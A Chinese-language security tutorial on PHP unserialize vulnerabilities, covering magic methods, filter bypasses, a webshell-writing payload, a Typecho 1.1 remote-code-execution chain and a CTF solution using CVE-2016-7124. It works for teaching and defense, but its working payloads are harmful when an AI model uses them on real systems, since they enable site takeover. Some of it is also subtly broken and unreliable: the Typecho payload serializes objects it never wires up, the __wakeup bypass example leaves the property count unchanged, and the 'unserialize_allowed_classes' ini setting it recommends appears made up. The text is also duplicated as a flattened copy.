[红日安全]代码审计Day11 - unserialize反序列化漏洞
字数 1358 2025-08-18 11:37:37

PHP反序列化漏洞深入分析与利用

1. 反序列化基础概念

PHP反序列化是将序列化的字符串还原为PHP变量或对象的过程。当攻击者能够控制反序列化的输入时,就可能利用这一特性执行恶意操作。

1.1 序列化格式

PHP序列化支持以下几种数据类型:

  • String
  • Integer
  • Boolean
  • Null
  • Array
  • Object

示例序列化字符串:

O:8:"Template":2:{s:9:"cacheFile";s:10:"./test.php";s:8:"template";s:25:"<?php eval($_POST[xx]);?>";}

2. 反序列化漏洞原理

2.1 漏洞触发条件

  1. 存在unserialize()函数且参数可控
  2. 存在可被利用的魔术方法
  3. 存在可利用的危险函数调用链

2.2 关键魔术方法

魔术方法 触发条件
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__get() 从不可访问的属性读取数据时触发
__toString() 把类当作字符串使用时触发

3. 漏洞利用技术

3.1 绕过过滤检测

原始代码中的过滤:

if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) {
    return unserialize($data);
}

绕过方法:

  1. 使用数组包裹对象:a:1:{i:0;O:8:"Template"...}
  2. 在对象序列化字符串中添加+号:O:+8:"Template"...

PHP源码分析:

  • var_unserializer.c中,O:后面可以跟+
  • yy17函数允许O:+数字的格式

3.2 实际利用案例

案例1:文件写入

class Template {
    public $cacheFile;
    public $template;
    
    public function __destruct() {
        file_put_contents($this->cacheFile, $this->template);
    }
}

// 构造payload
$payload = new Template();
$payload->cacheFile = './shell.php';
$payload->template = '<?php eval($_POST[cmd]);?>';
echo serialize($payload);

案例2:Typecho 1.1反序列化漏洞

利用链:

  1. 反序列化触发Typecho_Feed__toString()
  2. 触发Typecho_Request__get()
  3. 通过array_map()call_user_func()执行任意代码

关键代码:

// Typecho_Request中的__get方法
public function __get($key) {
    return $this->get($key);
}

public function get($key, $default = NULL) {
    $value = isset($this->_params[$key]) ? $this->_params[$key] : $default;
    $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
    return $this->_applyFilter($value);
}

protected function _applyFilter($value) {
    if ($this->_filter) {
        foreach ($this->_filter as $filter) {
            $value = is_array($value) ? array_map($filter, $value) : $filter($value);
        }
        $this->_filter = array();
    }
    return $value;
}

构造payload:

$chain = [
    'adapter' => new Typecho_Feed(), // 触发__toString
    'prefix' => 'typecho_'
];

// 设置Typecho_Feed的属性
$feed = new Typecho_Feed();
$feed->_type = 'RSS 2.0';
$feed->_items = [
    [
        'author' => new Typecho_Request() // 触发__get
    ]
];

// 设置Typecho_Request的属性
$request = new Typecho_Request();
$request->_params = ['screenName' => 'phpinfo()'];
$request->_filter = ['assert'];

echo serialize($chain);

4. 防御措施

  1. 输入验证

    • 不要反序列化不可信的输入
    • 使用JSON等更安全的格式传递数据
  2. 代码层面

    // 安装完成后禁用install.php
    if (file_exists(dirname(__FILE__) . '/config.inc.php')) {
        exit('Access Denied');
    }
    
  3. PHP配置

    • 使用unserialize_callback_func设置回调函数
    • 限制可反序列化的类:ini_set('unserialize_allowed_classes', 'allowed_class1,allowed_class2');
  4. 魔术方法安全

    • 避免在魔术方法中执行危险操作
    • 对魔术方法中的参数进行严格过滤

5. CTF题目分析

题目代码关键点:

class HITCON {
    // ...
    function __destruct() {
        $this->__conn();
        if (in_array($this->method, array("login", "source"))) {
            @call_user_func_array(array($this, $this->method), $this->args);
        }
        // ...
    }
}

class SoFun {
    public $file='index.php';
    function __destruct() {
        if(!empty($this->file)) {
            include $this->file;
        }
    }
    function __wakeup() {
        $this->file = 'index.php';
    }
}

利用思路:

  1. 通过SoFun类的__destruct方法包含任意文件
  2. 绕过__wakeup的重置(使用CVE-2016-7124,当对象属性个数大于实际个数时跳过__wakeup
  3. 构造payload读取flag.php

示例payload:

$payload = new SoFun();
$payload->file = 'flag.php';
echo serialize($payload);
// 修改属性数量绕过__wakeup
// O:5:"SoFun":2:{s:4:"file";s:8:"flag.php";}

6. 总结

PHP反序列化漏洞利用的关键点:

  1. 找到可控的反序列化入口点
  2. 分析可利用的魔术方法链
  3. 构造合适的对象属性触发危险操作
  4. 绕过可能的过滤和限制

防御要点:

  1. 避免反序列化用户输入
  2. 对必须的反序列化操作进行严格过滤
  3. 审查项目中的魔术方法实现
  4. 保持PHP版本更新,修复已知漏洞
PHP反序列化漏洞深入分析与利用 1. 反序列化基础概念 PHP反序列化是将序列化的字符串还原为PHP变量或对象的过程。当攻击者能够控制反序列化的输入时,就可能利用这一特性执行恶意操作。 1.1 序列化格式 PHP序列化支持以下几种数据类型: String Integer Boolean Null Array Object 示例序列化字符串: 2. 反序列化漏洞原理 2.1 漏洞触发条件 存在 unserialize() 函数且参数可控 存在可被利用的魔术方法 存在可利用的危险函数调用链 2.2 关键魔术方法 | 魔术方法 | 触发条件 | |---------|---------| | __wakeup() | 使用 unserialize 时触发 | | __sleep() | 使用 serialize 时触发 | | __destruct() | 对象被销毁时触发 | | __call() | 在对象上下文中调用不可访问的方法时触发 | | __get() | 从不可访问的属性读取数据时触发 | | __toString() | 把类当作字符串使用时触发 | 3. 漏洞利用技术 3.1 绕过过滤检测 原始代码中的过滤: 绕过方法: 使用数组包裹对象: a:1:{i:0;O:8:"Template"...} 在对象序列化字符串中添加 + 号: O:+8:"Template"... PHP源码分析: 在 var_unserializer.c 中, O: 后面可以跟 + 号 yy17 函数允许 O:+数字 的格式 3.2 实际利用案例 案例1:文件写入 案例2:Typecho 1.1反序列化漏洞 利用链: 反序列化触发 Typecho_Feed 的 __toString() 触发 Typecho_Request 的 __get() 通过 array_map() 或 call_user_func() 执行任意代码 关键代码: 构造payload: 4. 防御措施 输入验证 : 不要反序列化不可信的输入 使用JSON等更安全的格式传递数据 代码层面 : PHP配置 : 使用 unserialize_callback_func 设置回调函数 限制可反序列化的类: ini_set('unserialize_allowed_classes', 'allowed_class1,allowed_class2'); 魔术方法安全 : 避免在魔术方法中执行危险操作 对魔术方法中的参数进行严格过滤 5. CTF题目分析 题目代码关键点: 利用思路: 通过 SoFun 类的 __destruct 方法包含任意文件 绕过 __wakeup 的重置(使用CVE-2016-7124,当对象属性个数大于实际个数时跳过 __wakeup ) 构造payload读取flag.php 示例payload: 6. 总结 PHP反序列化漏洞利用的关键点: 找到可控的反序列化入口点 分析可利用的魔术方法链 构造合适的对象属性触发危险操作 绕过可能的过滤和限制 防御要点: 避免反序列化用户输入 对必须的反序列化操作进行严格过滤 审查项目中的魔术方法实现 保持PHP版本更新,修复已知漏洞